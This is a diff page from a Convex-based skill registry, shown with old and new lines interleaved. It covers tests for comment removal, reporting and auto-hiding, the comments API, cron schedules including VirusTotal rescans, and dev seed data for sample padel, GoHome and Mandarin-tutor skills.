vi.mocked(requireUser).mockResolvedValue({
userId: "users:2",
user: { _id: "users:2", role: "moderator" },
} as never);
userId: 'users:2',
user: { _id: 'users:2', role: 'moderator' },
} as never)
const comment = {
_id: "comments:1",
skillId: "skills:1",
userId: "users:2",
_id: 'comments:1',
skillId: 'skills:1',
userId: 'users:2',
softDeletedAt: undefined,
};
}
const get = vi.fn(async (id: string) => {
if (id === "comments:1") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const ctx = { db: { get, insert, patch } } as never;
if (id === 'comments:1') return comment
return null
})
const insert = vi.fn()
const patch = vi.fn()
const ctx = { db: { get, insert, patch } } as never
await removeHandler(ctx, { commentId: "comments:1" } as never);
await removeHandler(ctx, { commentId: 'comments:1' } as never)
expect(patch).toHaveBeenCalledTimes(1);
const deletePatch = vi.mocked(patch).mock.calls[0]?.[1] as Record<string, unknown>;
expect(deletePatch.updatedAt).toBeUndefined();
expect(patch).toHaveBeenCalledTimes(1)
const deletePatch = vi.mocked(patch).mock.calls[0]?.[1] as Record<string, unknown>
expect(deletePatch.updatedAt).toBeUndefined()
expect(insertStatEvent).toHaveBeenCalledWith(ctx, {
skillId: "skills:1",
kind: "uncomment",
});
});
skillId: 'skills:1',
kind: 'uncomment',
})
})
it("remove rejects non-owner without moderator permission", async () => {
it('remove rejects non-owner without moderator permission', async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:3",
user: { _id: "users:3", role: "user" },
} as never);
userId: 'users:3',
user: { _id: 'users:3', role: 'user' },
} as never)
vi.mocked(assertModerator).mockImplementation(() => {
throw new Error("Moderator role required");
});
throw new Error('Moderator role required')
})
const comment = {
_id: "comments:2",
skillId: "skills:2",
userId: "users:9",
_id: 'comments:2',
skillId: 'skills:2',
userId: 'users:9',
softDeletedAt: undefined,
};
const get = vi.fn().mockResolvedValue(comment);
const insert = vi.fn();
const patch = vi.fn();
const ctx = { db: { get, insert, patch } } as never;
}
const get = vi.fn().mockResolvedValue(comment)
const insert = vi.fn()
const patch = vi.fn()
const ctx = { db: { get, insert, patch } } as never
await expect(removeHandler(ctx, { commentId: "comments:2" } as never)).rejects.toThrow(
"Moderator role required",
);
expect(patch).not.toHaveBeenCalled();
expect(insertStatEvent).not.toHaveBeenCalled();
});
await expect(removeHandler(ctx, { commentId: 'comments:2' } as never)).rejects.toThrow(
'Moderator role required',
)
expect(patch).not.toHaveBeenCalled()
expect(insertStatEvent).not.toHaveBeenCalled()
})
it("remove no-ops for soft-deleted comment", async () => {
it('remove no-ops for soft-deleted comment', async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:4",
user: { _id: "users:4", role: "moderator" },
} as never);
userId: 'users:4',
user: { _id: 'users:4', role: 'moderator' },
} as never)
const comment = {
_id: "comments:3",
skillId: "skills:3",
userId: "users:4",
_id: 'comments:3',
skillId: 'skills:3',
userId: 'users:4',
softDeletedAt: 123,
};
const get = vi.fn().mockResolvedValue(comment);
const insert = vi.fn();
const patch = vi.fn();
const ctx = { db: { get, insert, patch } } as never;
}
const get = vi.fn().mockResolvedValue(comment)
const insert = vi.fn()
const patch = vi.fn()
const ctx = { db: { get, insert, patch } } as never
await removeHandler(ctx, { commentId: "comments:3" } as never);
await removeHandler(ctx, { commentId: 'comments:3' } as never)
expect(patch).not.toHaveBeenCalled();
expect(insert).not.toHaveBeenCalled();
expect(insertStatEvent).not.toHaveBeenCalled();
});
it("report increments count and stores reason", async () => {
vi.spyOn(Date, "now").mockReturnValue(1_700_000_000_000);
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:1",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 1,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:1") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table === "commentReports") {
return {
withIndex: (index: string) => {
if (index === "by_comment_user") {
return { unique: vi.fn().mockResolvedValue(null) };
}
if (index === "by_user") {
return { collect: vi.fn().mockResolvedValue([]) };
}
throw new Error(`Unexpected index ${index}`);
},
};
}
throw new Error(`Unexpected table ${table}`);
});
const ctx = { db: { get, insert, patch, query } } as never;
const result = await reportHandler(ctx, {
commentId: "comments:1",
reason: " spam ",
} as never);
expect(result).toEqual({ ok: true, reported: true, alreadyReported: false });
expect(insert).toHaveBeenCalledWith("commentReports", {
commentId: "comments:1",
skillId: "skills:1",
userId: "users:1",
reason: "spam",
createdAt: 1_700_000_000_000,
});
expect(patch).toHaveBeenCalledWith("comments:1", {
reportCount: 2,
lastReportedAt: 1_700_000_000_000,
});
expect(insertStatEvent).not.toHaveBeenCalled();
});
it("report returns alreadyReported for duplicate reporter/comment pair", async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:dup",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:dup") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table !== "commentReports") throw new Error(`Unexpected table ${table}`);
return {
withIndex: (index: string) => {
if (index === "by_comment_user") {
return { unique: vi.fn().mockResolvedValue({ _id: "commentReports:existing" }) };
}
throw new Error(`Unexpected index ${index}`);
},
};
});
const ctx = { db: { get, insert, patch, query } } as never;
const result = await reportHandler(ctx, { commentId: "comments:dup", reason: "spam" } as never);
expect(result).toEqual({ ok: true, reported: false, alreadyReported: true });
expect(insert).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled();
});
it("report rejects empty reason", async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:empty",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:empty") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn();
const ctx = { db: { get, insert, patch, query } } as never;
await expect(
reportHandler(ctx, { commentId: "comments:empty", reason: " " } as never),
).rejects.toThrow("Report reason required.");
expect(query).not.toHaveBeenCalled();
expect(insert).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled();
});
it("report rejects comment when parent skill is hidden/removed", async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:hidden-parent",
skillId: "skills:hidden",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:hidden-parent") return comment;
if (id === "skills:hidden") {
return { _id: "skills:hidden", softDeletedAt: 123, moderationStatus: "removed" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn();
const ctx = { db: { get, insert, patch, query } } as never;
await expect(
reportHandler(ctx, { commentId: "comments:hidden-parent", reason: "abuse" } as never),
).rejects.toThrow("Comment not found");
expect(query).not.toHaveBeenCalled();
expect(insert).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled();
});
it("report truncates long reason to 500 chars", async () => {
vi.spyOn(Date, "now").mockReturnValue(1_700_000_000_050);
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:long",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:long") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table !== "commentReports") throw new Error(`Unexpected table ${table}`);
return {
withIndex: (index: string) => {
if (index === "by_comment_user") return { unique: vi.fn().mockResolvedValue(null) };
if (index === "by_user") return { collect: vi.fn().mockResolvedValue([]) };
throw new Error(`Unexpected index ${index}`);
},
};
});
const ctx = { db: { get, insert, patch, query } } as never;
await reportHandler(ctx, { commentId: "comments:long", reason: "x".repeat(700) } as never);
const reportInsert = vi.mocked(insert).mock.calls.find((call) => call[0] === "commentReports");
expect(reportInsert?.[1]).toMatchObject({
commentId: "comments:long",
reason: "x".repeat(500),
});
});
it("report active-count filter ignores stale/non-active report targets", async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:target2",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const reports = [
{
_id: "commentReports:1",
commentId: "comments:deleted",
userId: "users:1",
skillId: "skills:1",
},
{
_id: "commentReports:2",
commentId: "comments:removed-skill",
userId: "users:1",
skillId: "skills:removed",
},
{
_id: "commentReports:3",
commentId: "comments:deleted-owner",
userId: "users:1",
skillId: "skills:active",
},
];
const get = vi.fn(async (id: string) => {
if (id === "comments:target2") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
if (id === "comments:deleted") {
return {
_id: "comments:deleted",
softDeletedAt: 123,
skillId: "skills:1",
userId: "users:2",
};
}
if (id === "comments:removed-skill") {
return {
_id: "comments:removed-skill",
softDeletedAt: undefined,
skillId: "skills:removed",
userId: "users:2",
};
}
if (id === "skills:removed") {
return { _id: "skills:removed", softDeletedAt: undefined, moderationStatus: "removed" };
}
if (id === "comments:deleted-owner") {
return {
_id: "comments:deleted-owner",
softDeletedAt: undefined,
skillId: "skills:active",
userId: "users:deleted-owner",
};
}
if (id === "skills:active") {
return { _id: "skills:active", softDeletedAt: undefined, moderationStatus: "active" };
}
if (id === "users:deleted-owner") {
return { _id: "users:deleted-owner", deletedAt: 1, deactivatedAt: undefined };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table !== "commentReports") throw new Error(`Unexpected table ${table}`);
return {
withIndex: (index: string) => {
if (index === "by_comment_user") return { unique: vi.fn().mockResolvedValue(null) };
if (index === "by_user") return { collect: vi.fn().mockResolvedValue(reports) };
throw new Error(`Unexpected index ${index}`);
},
};
});
const ctx = { db: { get, insert, patch, query } } as never;
const result = await reportHandler(ctx, {
commentId: "comments:target2",
reason: "still allowed",
} as never);
expect(result).toEqual({ ok: true, reported: true, alreadyReported: false });
expect(insert).toHaveBeenCalledWith(
"commentReports",
expect.objectContaining({ commentId: "comments:target2", userId: "users:1" }),
);
});
it("report rejects when active report limit is reached", async () => {
vi.mocked(requireUser).mockResolvedValue({
userId: "users:1",
user: { _id: "users:1", role: "user" },
} as never);
const comment = {
_id: "comments:target",
skillId: "skills:1",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 0,
};
const reportedComment = {
_id: "comments:reported",
skillId: "skills:active",
userId: "users:owner",
softDeletedAt: undefined,
};
const reports = Array.from({ length: 20 }, (_, i) => ({
_id: `commentReports:${i + 1}`,
commentId: `comments:reported-${i + 1}`,
userId: "users:1",
skillId: "skills:active",
createdAt: i + 1,
}));
const get = vi.fn(async (id: string) => {
if (id === "comments:target") return comment;
if (id === "skills:1") {
return { _id: "skills:1", softDeletedAt: undefined, moderationStatus: "active" };
}
if (String(id).startsWith("comments:reported-")) return reportedComment;
if (id === "skills:active") {
return { _id: "skills:active", softDeletedAt: undefined, moderationStatus: "active" };
}
if (id === "users:owner") {
return { _id: "users:owner", deletedAt: undefined, deactivatedAt: undefined };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table === "commentReports") {
return {
withIndex: (index: string) => {
if (index === "by_comment_user") {
return { unique: vi.fn().mockResolvedValue(null) };
}
if (index === "by_user") {
return { collect: vi.fn().mockResolvedValue(reports) };
}
throw new Error(`Unexpected index ${index}`);
},
};
}
throw new Error(`Unexpected table ${table}`);
});
const ctx = { db: { get, insert, patch, query } } as never;
await expect(
reportHandler(ctx, { commentId: "comments:target", reason: "abuse" } as never),
).rejects.toThrow("Report limit reached. Please wait for moderation before reporting more.");
expect(insert).not.toHaveBeenCalled();
expect(patch).not.toHaveBeenCalled();
});
it("report auto-hides comment after fourth unique report", async () => {
vi.spyOn(Date, "now").mockReturnValue(1_700_000_000_100);
vi.mocked(requireUser).mockResolvedValue({
userId: "users:3",
user: { _id: "users:3", role: "user" },
} as never);
const comment = {
_id: "comments:4",
skillId: "skills:9",
userId: "users:2",
softDeletedAt: undefined,
reportCount: 3,
};
const get = vi.fn(async (id: string) => {
if (id === "comments:4") return comment;
if (id === "skills:9") {
return { _id: "skills:9", softDeletedAt: undefined, moderationStatus: "active" };
}
return null;
});
const insert = vi.fn();
const patch = vi.fn();
const query = vi.fn((table: string) => {
if (table === "commentReports") {
return {
withIndex: (index: string) => {
if (index === "by_comment_user") {
return { unique: vi.fn().mockResolvedValue(null) };
}
if (index === "by_user") {
return { collect: vi.fn().mockResolvedValue([]) };
}
throw new Error(`Unexpected index ${index}`);
},
};
}
throw new Error(`Unexpected table ${table}`);
});
const ctx = { db: { get, insert, patch, query } } as never;
const result = await reportHandler(ctx, {
commentId: "comments:4",
reason: " hate ",
} as never);
expect(result).toEqual({ ok: true, reported: true, alreadyReported: false });
expect(patch).toHaveBeenCalledWith("comments:4", {
reportCount: 4,
lastReportedAt: 1_700_000_000_100,
softDeletedAt: 1_700_000_000_100,
});
expect(insertStatEvent).toHaveBeenCalledWith(ctx, {
skillId: "skills:9",
kind: "uncomment",
});
expect(insert).toHaveBeenCalledWith("auditLogs", {
actorUserId: "users:3",
action: "comment.auto_hide",
targetType: "comment",
targetId: "comments:4",
metadata: { skillId: "skills:9", reportCount: 4 },
createdAt: 1_700_000_000_100,
});
});
});
expect(patch).not.toHaveBeenCalled()
expect(insert).not.toHaveBeenCalled()
expect(insertStatEvent).not.toHaveBeenCalled()
})
})
+28 -40
View File
@@ -1,49 +1,37 @@
import { v } from "convex/values";
import type { Doc } from "./_generated/dataModel";
import { addHandler, removeHandler, reportHandler } from "./comments.handlers";
import { mutation, query } from "./functions";
import { type PublicUser, toPublicUser } from "./lib/public";
import { v } from 'convex/values'
import type { Doc } from './_generated/dataModel'
import { mutation, query } from './_generated/server'
import { addHandler, removeHandler } from './comments.handlers'
import { type PublicUser, toPublicUser } from './lib/public'
export const listBySkill = query({
args: { skillId: v.id("skills"), limit: v.optional(v.number()) },
handler: listBySkillHandler,
});
args: { skillId: v.id('skills'), limit: v.optional(v.number()) },
handler: async (ctx, args) => {
const limit = args.limit ?? 50
const comments = await ctx.db
.query('comments')
.withIndex('by_skill', (q) => q.eq('skillId', args.skillId))
.order('desc')
.take(limit)
export async function listBySkillHandler(
ctx: import("./_generated/server").QueryCtx,
args: { skillId: import("./_generated/dataModel").Id<"skills">; limit?: number },
) {
const limit = args.limit ?? 50;
const comments = await ctx.db
.query("comments")
.withIndex("by_skill", (q) => q.eq("skillId", args.skillId))
.order("desc")
.take(limit);
const rows = await Promise.all(
comments.map(
async (comment): Promise<{ comment: Doc<"comments">; user: PublicUser } | null> => {
if (comment.softDeletedAt) return null;
const user = toPublicUser(await ctx.db.get(comment.userId));
if (!user) return null;
return { comment, user };
},
),
);
return rows.filter((row): row is { comment: Doc<"comments">; user: PublicUser } => row !== null);
}
const visible = comments.filter((comment) => !comment.softDeletedAt)
return Promise.all(
visible.map(
async (comment): Promise<{ comment: Doc<'comments'>; user: PublicUser | null }> => ({
comment,
user: toPublicUser(await ctx.db.get(comment.userId)),
}),
),
)
},
})
export const add = mutation({
args: { skillId: v.id("skills"), body: v.string() },
args: { skillId: v.id('skills'), body: v.string() },
handler: addHandler,
});
})
export const remove = mutation({
args: { commentId: v.id("comments") },
args: { commentId: v.id('comments') },
handler: removeHandler,
});
export const report = mutation({
args: { commentId: v.id("comments"), reason: v.string() },
handler: reportHandler,
});
})
+26 -35
View File
@@ -1,78 +1,69 @@
import { cronJobs } from "convex/server";
import { internal } from "./_generated/api";
import { cronJobs } from 'convex/server'
import { internal } from './_generated/api'
const crons = cronJobs();
const crons = cronJobs()
crons.interval(
"github-backup-sync",
'github-backup-sync',
{ minutes: 30 },
internal.githubBackupsNode.syncGitHubBackupsInternal,
{ batchSize: 50, maxBatches: 5 },
);
)
crons.interval(
"trending-leaderboard",
'trending-leaderboard',
{ minutes: 60 },
internal.leaderboards.rebuildTrendingLeaderboardAction,
internal.leaderboards.rebuildTrendingLeaderboardInternal,
{ limit: 200 },
);
)
crons.interval(
"skill-stats-backfill",
'skill-stats-backfill',
{ hours: 6 },
internal.statsMaintenance.runSkillStatBackfillInternal,
{ batchSize: 200, maxBatches: 5 },
);
)
// Runs frequently to keep dailyStats/trending accurate,
// but does NOT patch skill documents (only writes to skillDailyStats).
crons.interval(
"skill-stat-events",
'skill-stat-events',
{ minutes: 15 },
internal.skillStatEvents.processSkillStatEventsAction,
{},
);
)
// Syncs accumulated stat deltas to skill documents every 6 hours.
// Runs infrequently to avoid thundering-herd reactive query invalidation.
// Uses processedAt field to track progress (independent of the action cursor).
crons.interval(
"skill-doc-stat-sync",
'skill-doc-stat-sync',
{ hours: 6 },
internal.skillStatEvents.processSkillStatEventsInternal,
{ batchSize: 500 },
);
)
crons.interval(
"global-stats-update",
{ hours: 24 },
internal.statsMaintenance.updateGlobalStatsAction,
'global-stats-update',
{ minutes: 60 },
internal.statsMaintenance.updateGlobalStatsInternal,
{},
);
)
crons.interval("vt-pending-scans", { minutes: 5 }, internal.vt.pollPendingScans, {
crons.interval('vt-pending-scans', { minutes: 5 }, internal.vt.pollPendingScans, { batchSize: 100 })
crons.interval('vt-cache-backfill', { minutes: 30 }, internal.vt.backfillActiveSkillsVTCache, {
batchSize: 100,
});
crons.interval("vt-cache-backfill", { minutes: 30 }, internal.vt.backfillActiveSkillsVTCache, {
batchSize: 100,
});
crons.interval(
"package-scan-backfill",
{ minutes: 30 },
internal.packages.backfillPackageReleaseScansInternal,
{ batchSize: 100 },
);
})
// Daily re-scan of all active skills at 3am UTC
crons.daily("vt-daily-rescan", { hourUTC: 3, minuteUTC: 0 }, internal.vt.rescanActiveSkills, {});
crons.daily('vt-daily-rescan', { hourUTC: 3, minuteUTC: 0 }, internal.vt.rescanActiveSkills, {})
crons.interval(
"download-dedupe-prune",
'download-dedupe-prune',
{ hours: 24 },
internal.downloads.pruneDownloadDedupesInternal,
{},
);
)
export default crons;
export default crons
+101 -101
View File
@@ -1,45 +1,45 @@
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { ActionCtx } from "./_generated/server";
import { internalAction, internalMutation } from "./functions";
import { EMBEDDING_DIMENSIONS } from "./lib/embeddings";
import { parseClawdisMetadata, parseFrontmatter } from "./lib/skills";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { ActionCtx } from './_generated/server'
import { internalAction, internalMutation } from './_generated/server'
import { EMBEDDING_DIMENSIONS } from './lib/embeddings'
import { parseClawdisMetadata, parseFrontmatter } from './lib/skills'
type SeedSkillSpec = {
slug: string;
displayName: string;
summary: string;
version: string;
metadata: Record<string, unknown>;
rawSkillMd: string;
};
slug: string
displayName: string
summary: string
version: string
metadata: Record<string, unknown>
rawSkillMd: string
}
type SeedActionArgs = {
reset?: boolean;
};
reset?: boolean
}
type SeedActionResult = {
ok: true;
results: Array<Record<string, unknown> & { slug: string }>;
};
ok: true
results: Array<Record<string, unknown> & { slug: string }>
}
type SeedMutationResult = Record<string, unknown>;
type SeedMutationResult = Record<string, unknown>
const SEED_SKILLS: SeedSkillSpec[] = [
{
slug: "padel",
displayName: "Padel",
summary: "Check padel court availability and manage bookings via Playtomic.",
version: "0.1.0",
slug: 'padel',
displayName: 'Padel',
summary: 'Check padel court availability and manage bookings via Playtomic.',
version: '0.1.0',
metadata: {
clawdbot: {
nix: {
plugin: "github:joshp123/padel-cli",
systems: ["aarch64-darwin", "x86_64-linux"],
plugin: 'github:joshp123/padel-cli',
systems: ['aarch64-darwin', 'x86_64-linux'],
},
config: {
requiredEnv: ["PADEL_AUTH_FILE"],
stateDirs: [".config/padel"],
requiredEnv: ['PADEL_AUTH_FILE'],
stateDirs: ['.config/padel'],
example:
'config = { env = { PADEL_AUTH_FILE = "/run/agenix/padel-auth"; }; stateDirs = [ ".config/padel" ]; };',
},
@@ -105,18 +105,18 @@ Only the authorized booker can confirm bookings. If the requester is not authori
`,
},
{
slug: "gohome",
displayName: "GoHome",
summary: "Operate GoHome via gRPC discovery, metrics, and Grafana dashboards.",
version: "0.1.0",
slug: 'gohome',
displayName: 'GoHome',
summary: 'Operate GoHome via gRPC discovery, metrics, and Grafana dashboards.',
version: '0.1.0',
metadata: {
clawdbot: {
nix: {
plugin: "github:joshp123/gohome",
systems: ["x86_64-linux", "aarch64-linux"],
plugin: 'github:joshp123/gohome',
systems: ['x86_64-linux', 'aarch64-linux'],
},
config: {
requiredEnv: ["GOHOME_GRPC_ADDR", "GOHOME_HTTP_BASE"],
requiredEnv: ['GOHOME_GRPC_ADDR', 'GOHOME_HTTP_BASE'],
example:
'config = { env = { GOHOME_GRPC_ADDR = "gohome:9000"; GOHOME_HTTP_BASE = "http://gohome:8080"; }; };',
},
@@ -178,19 +178,19 @@ Only call write RPCs after explicit user approval.
`,
},
{
slug: "xuezh",
displayName: "Xuezh",
summary: "Teach Mandarin with the xuezh engine for review, speaking, and audits.",
version: "0.1.0",
slug: 'xuezh',
displayName: 'Xuezh',
summary: 'Teach Mandarin with the xuezh engine for review, speaking, and audits.',
version: '0.1.0',
metadata: {
clawdbot: {
nix: {
plugin: "github:joshp123/xuezh",
systems: ["aarch64-darwin", "x86_64-linux"],
plugin: 'github:joshp123/xuezh',
systems: ['aarch64-darwin', 'x86_64-linux'],
},
config: {
requiredEnv: ["XUEZH_AZURE_SPEECH_KEY_FILE", "XUEZH_AZURE_SPEECH_REGION"],
stateDirs: [".config/xuezh"],
requiredEnv: ['XUEZH_AZURE_SPEECH_KEY_FILE', 'XUEZH_AZURE_SPEECH_REGION'],
stateDirs: ['.config/xuezh'],
example:
'config = { env = { XUEZH_AZURE_SPEECH_KEY_FILE = "/run/agenix/xuezh-azure-speech-key"; XUEZH_AZURE_SPEECH_REGION = "westeurope"; }; stateDirs = [ ".config/xuezh" ]; };',
},
@@ -239,27 +239,27 @@ xuezh audio process-voice --file ./utterance.wav
\`\`\`
`,
},
];
]
function injectMetadata(rawSkillMd: string, metadata: Record<string, unknown>) {
const frontmatterEnd = rawSkillMd.indexOf("\n---", 3);
if (frontmatterEnd === -1) return rawSkillMd;
const frontmatterEnd = rawSkillMd.indexOf('\n---', 3)
if (frontmatterEnd === -1) return rawSkillMd
return `${rawSkillMd.slice(0, frontmatterEnd)}\nmetadata: ${JSON.stringify(
metadata,
)}${rawSkillMd.slice(frontmatterEnd)}`;
)}${rawSkillMd.slice(frontmatterEnd)}`
}
async function seedNixSkillsHandler(
ctx: ActionCtx,
args: SeedActionArgs,
): Promise<SeedActionResult> {
const results: Array<Record<string, unknown> & { slug: string }> = [];
const results: Array<Record<string, unknown> & { slug: string }> = []
for (const spec of SEED_SKILLS) {
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata);
const frontmatter = parseFrontmatter(skillMd);
const clawdis = parseClawdisMetadata(frontmatter);
const storageId = await ctx.storage.store(new Blob([skillMd], { type: "text/markdown" }));
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata)
const frontmatter = parseFrontmatter(skillMd)
const clawdis = parseClawdisMetadata(frontmatter)
const storageId = await ctx.storage.store(new Blob([skillMd], { type: 'text/markdown' }))
const result: SeedMutationResult = await ctx.runMutation(internal.devSeed.seedSkillMutation, {
reset: args.reset,
@@ -272,12 +272,12 @@ async function seedNixSkillsHandler(
displayName: spec.displayName,
summary: spec.summary,
version: spec.version,
});
})
results.push({ slug: spec.slug, ...result });
results.push({ slug: spec.slug, ...result })
}
return { ok: true, results };
return { ok: true, results }
}
export const seedNixSkills: ReturnType<typeof internalAction> = internalAction({
@@ -285,19 +285,19 @@ export const seedNixSkills: ReturnType<typeof internalAction> = internalAction({
reset: v.optional(v.boolean()),
},
handler: seedNixSkillsHandler,
});
})
async function seedPadelSkillHandler(
ctx: ActionCtx,
args: SeedActionArgs,
): Promise<SeedMutationResult> {
const spec = SEED_SKILLS.find((entry) => entry.slug === "padel");
if (!spec) throw new Error("padel seed spec missing");
const spec = SEED_SKILLS.find((entry) => entry.slug === 'padel')
if (!spec) throw new Error('padel seed spec missing')
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata);
const frontmatter = parseFrontmatter(skillMd);
const clawdis = parseClawdisMetadata(frontmatter);
const storageId = await ctx.storage.store(new Blob([skillMd], { type: "text/markdown" }));
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata)
const frontmatter = parseFrontmatter(skillMd)
const clawdis = parseClawdisMetadata(frontmatter)
const storageId = await ctx.storage.store(new Blob([skillMd], { type: 'text/markdown' }))
return (await ctx.runMutation(internal.devSeed.seedSkillMutation, {
reset: args.reset,
@@ -310,7 +310,7 @@ async function seedPadelSkillHandler(
displayName: spec.displayName,
summary: spec.summary,
version: spec.version,
})) as SeedMutationResult;
})) as SeedMutationResult
}
export const seedPadelSkill: ReturnType<typeof internalAction> = internalAction({
@@ -318,12 +318,12 @@ export const seedPadelSkill: ReturnType<typeof internalAction> = internalAction(
reset: v.optional(v.boolean()),
},
handler: seedPadelSkillHandler,
});
})
export const seedSkillMutation = internalMutation({
args: {
reset: v.optional(v.boolean()),
storageId: v.id("_storage"),
storageId: v.id('_storage'),
metadata: v.any(),
frontmatter: v.any(),
clawdis: v.any(),
@@ -335,49 +335,49 @@ export const seedSkillMutation = internalMutation({
},
handler: async (ctx, args) => {
const existing = await ctx.db
.query("skills")
.withIndex("by_slug", (q) => q.eq("slug", args.slug))
.unique();
.query('skills')
.withIndex('by_slug', (q) => q.eq('slug', args.slug))
.unique()
if (existing && !args.reset) {
return { ok: true, skipped: true, skillId: existing._id };
return { ok: true, skipped: true, skillId: existing._id }
}
if (existing && args.reset) {
const versions = await ctx.db
.query("skillVersions")
.withIndex("by_skill", (q) => q.eq("skillId", existing._id))
.collect();
.query('skillVersions')
.withIndex('by_skill', (q) => q.eq('skillId', existing._id))
.collect()
for (const version of versions) {
await ctx.db.delete(version._id);
await ctx.db.delete(version._id)
}
const embeddings = await ctx.db
.query("skillEmbeddings")
.withIndex("by_skill", (q) => q.eq("skillId", existing._id))
.collect();
.query('skillEmbeddings')
.withIndex('by_skill', (q) => q.eq('skillId', existing._id))
.collect()
for (const embedding of embeddings) {
await ctx.db.delete(embedding._id);
await ctx.db.delete(embedding._id)
}
await ctx.db.delete(existing._id);
await ctx.db.delete(existing._id)
}
const now = Date.now();
const now = Date.now()
const existingUsers = await ctx.db
.query("users")
.withIndex("handle", (q) => q.eq("handle", "local"))
.collect();
.query('users')
.withIndex('handle', (q) => q.eq('handle', 'local'))
.collect()
const userId =
existingUsers[0]?._id ??
(await ctx.db.insert("users", {
handle: "local",
displayName: "Local Dev",
role: "admin",
(await ctx.db.insert('users', {
handle: 'local',
displayName: 'Local Dev',
role: 'admin',
createdAt: now,
updatedAt: now,
}));
}))
const skillId = await ctx.db.insert("skills", {
const skillId = await ctx.db.insert('skills', {
slug: args.slug,
displayName: args.displayName,
summary: args.summary,
@@ -400,19 +400,19 @@ export const seedSkillMutation = internalMutation({
},
createdAt: now,
updatedAt: now,
});
})
const versionId = await ctx.db.insert("skillVersions", {
const versionId = await ctx.db.insert('skillVersions', {
skillId,
version: args.version,
changelog: "Seeded local version for screenshots.",
changelog: 'Seeded local version for screenshots.',
files: [
{
path: "SKILL.md",
path: 'SKILL.md',
size: args.skillMd.length,
storageId: args.storageId,
sha256: "seeded",
contentType: "text/markdown",
sha256: 'seeded',
contentType: 'text/markdown',
},
],
parsed: {
@@ -423,19 +423,19 @@ export const seedSkillMutation = internalMutation({
createdBy: userId,
createdAt: now,
softDeletedAt: undefined,
});
})
const embeddingId = await ctx.db.insert("skillEmbeddings", {
const embeddingId = await ctx.db.insert('skillEmbeddings', {
skillId,
versionId,
ownerId: userId,
embedding: Array.from({ length: EMBEDDING_DIMENSIONS }, () => 0),
isLatest: true,
isApproved: true,
visibility: "latest-approved",
visibility: 'latest-approved',
updatedAt: now,
});
await ctx.db.insert("embeddingSkillMap", { embeddingId, skillId });
})
await ctx.db.insert('embeddingSkillMap', { embeddingId, skillId })
await ctx.db.patch(skillId, {
latestVersionId: versionId,
@@ -453,8 +453,8 @@ export const seedSkillMutation = internalMutation({
comments: 0,
},
updatedAt: now,
});
})
return { ok: true, skillId, versionId, embeddingId };
return { ok: true, skillId, versionId, embeddingId }
},
});
})
+293 -293
View File
@@ -6,28 +6,28 @@
* Or with reset: bunx convex run internal.devSeedExtra.seedExtraSkillsInternal '{"reset": true}'
*/
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Id } from "./_generated/dataModel";
import type { ActionCtx } from "./_generated/server";
import { internalAction, internalMutation } from "./functions";
import { parseClawdisMetadata, parseFrontmatter } from "./lib/skills";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Id } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { internalAction, internalMutation } from './_generated/server'
import { parseClawdisMetadata, parseFrontmatter } from './lib/skills'
type SeedSkillSpec = {
slug: string;
